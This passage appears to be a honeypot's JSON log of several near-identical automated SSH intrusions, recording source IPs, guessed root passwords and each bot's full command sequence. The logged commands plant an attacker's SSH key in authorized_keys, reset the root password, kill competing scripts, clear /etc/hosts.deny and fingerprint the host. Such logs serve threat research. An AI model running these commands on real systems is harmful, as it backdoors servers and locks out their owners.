8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:58:24.547054+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:58:25.390795+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:58:25.936118+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:58:26.248156+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:58:26.800130+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:58:27.285817+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:58:27.842546+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:58:29.151073+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:58:29.700296+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:58:30.847072+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"tianyu@123","method":"password","accepted":true,"tier":"other"}]} {"id":"9c9204b5-b416-4d6d-b3d1-eccace0e90c5","name":"boreal-serene-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":45992,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":544,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:55:24.223136+00:00","ended_at":"2026-08-27T00:55:25.280584+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-27T00:54:58.053134+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:54:58.589570+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:55:06.347880+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:55:06.927182+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:55:07.471638+00:00","kind":"input","latency_ms":null,"data":"echo \"root:aAw9cQPRmrla\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:55:08.013595+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:55:08.542946+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:55:09.290498+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:55:09.844426+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:55:10.750692+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:55:11.287269+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:55:12.451766+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:55:13.003942+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:55:13.664601+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:55:14.277484+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:55:14.754826+00:00","kind":"output","latency_ms":null,"data":" 00:55:14 up 6 days, 21:45, 0 user, load average: 0.31, 0.28, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:55:15.678897+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:55:16.140536+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:55:16.677952+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:55:17.137019+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:55:17.840464+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:55:18.594539+00:00","kind":"output","latency_ms":null,"data":"top - 00:55:18 up 6 days, 21:45, 0 user, load average: 0.31, 0.28, 0.25\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:55:19.131656+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:55:19.460262+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:55:19.992453+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:55:20.375159+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:55:20.902485+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:55:21.590159+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:55:22.330041+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:55:23.690708+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:55:24.224374+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:55:25.103556+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"brahim","method":"password","accepted":true,"tier":"other"}]} {"id":"2ef49375-1827-4419-971a-07984cb2a427","name":"quartz-crimson-whimbrel","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":57234,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":535,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:42:56.877146+00:00","ended_at":"2026-08-27T00:42:57.957604+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-27T00:42:33.422397+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:42:33.947682+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:42:39.531281+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:42:40.393667+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:42:40.943889+00:00","kind":"input","latency_ms":null,"data":"echo \"root:RHehtdFYjJag\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:42:41.475949+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:42:42.011908+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:42:42.517845+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:42:43.047497+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:42:43.937318+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:42:44.481374+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:42:45.598618+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:42:46.125341+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:42:46.431139+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:42:46.953356+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:42:47.785893+00:00","kind":"output","latency_ms":null,"data":" 00:42:47 up 6 days, 21:32, 0 user, load average: 0.17, 0.13, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:42:48.320384+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:42:48.852966+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:42:49.383929+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:42:49.993772+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:42:50.546066+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:42:50.901906+00:00","kind":"output","latency_ms":null,"data":"top - 00:42:50 up 6 days, 21:32, 0 user, load average: 0.17, 0.13, 0.14\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:42:51.679136+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:42:52.509414+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:42:53.063763+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:42:53.314936+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:42:53.858173+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:42:54.703462+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:42:55.238457+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:42:56.344715+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:42:56.878381+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:42:57.789842+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"drcom@123","method":"password","accepted":true,"tier":"other"}]} {"id":"c9ef5156-8586-4eae-9c3d-5a91117b00e8","name":"forlorn-quiet-impala","protocol":"ssh","channel_kind":"exec","src_ip":"97.74.87.152","src_port":33282,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":742,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:38:36.484406+00:00","ended_at":"2026-08-27T00:38:37.325893+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T00:38:16.021634+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:38:16.760030+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:38:23.612059+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:38:23.612562+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:38:24.358093+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ZwXAuunECBgl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:38:25.096410+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:38:25.837006+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:38:25.837472+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:38:26.579425+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:38:27.192500+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:38:27.953422+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:38:28.481021+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:38:29.226748+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:38:29.227213+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T00:38:29.967959+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:38:29.968810+00:00","kind":"output","latency_ms":null,"data":" 00:38:29 up 6 days, 21:28, 0 user, load average: 0.32, 0.36, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:38:30.712245+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:38:30.712781+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:38:31.456150+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:38:31.456813+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:38:32.211905+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:38:32.212472+00:00","kind":"output","latency_ms":null,"data":"top - 00:38:32 up 6 days, 21:28, 0 user, load average: 0.32, 0.36, 0.19\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:38:32.955299+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:38:32.955800+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:38:33.697389+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:38:33.698485+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:38:34.439804+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:38:34.440412+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:38:35.186811+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:38:35.742556+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:38:36.484897+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:38:37.090237+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"A123456b","method":"password","accepted":true,"tier":"other"}]} {"id":"1d3ba961-9947-47ed-8fd6-6400b59e5ee3","name":"solar-rapid-bison","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":56892,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":522,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:33:42.846708+00:00","ended_at":"2026-08-27T00:33:44.173413+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2161,"events":[{"seq":1,"at":"2026-08-27T00:33:13.223764+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:33:13.750028+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:33:23.810854+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:33:24.674068+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:33:25.206832+00:00","kind":"input","latency_ms":null,"data":"echo \"root:K7bcLkCDsZzD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:33:25.775193+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:33:26.291438+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:33:27.023209+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:33:27.558487+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:33:28.921128+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:33:29.589094+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:33:30.799353+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:33:31.354132+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:33:32.228867+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:33:32.751025+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:33:33.632228+00:00","kind":"output","latency_ms":null,"data":" 00:33:33 up 6 days, 21:23, 0 user, load average: 0.12, 0.12, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:33:34.145543+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:33:34.683739+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:33:35.210666+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:33:35.690266+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:33:36.213620+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:33:36.619139+00:00","kind":"output","latency_ms":null,"data":"top - 00:33:36 up 6 days, 21:23, 0 user, load average: 0.12, 0.12, 0.14\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:33:37.140958+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:33:38.008442+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:33:38.528226+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:33:39.143886+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:33:39.663130+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:33:40.526173+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:33:41.045329+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:33:42.324334+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:33:42.847464+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:33:44.012445+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin_123!","method":"password","accepted":true,"tier":"other"}]} {"id":"b6208ed3-6316-446d-9834-3837e3d83399","name":"nautical-graceful-chinchilla","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":58962,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":515,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:30:43.803559+00:00","ended_at":"2026-08-27T00:30:45.265857+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T00:30:15.886338+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:30:16.395202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 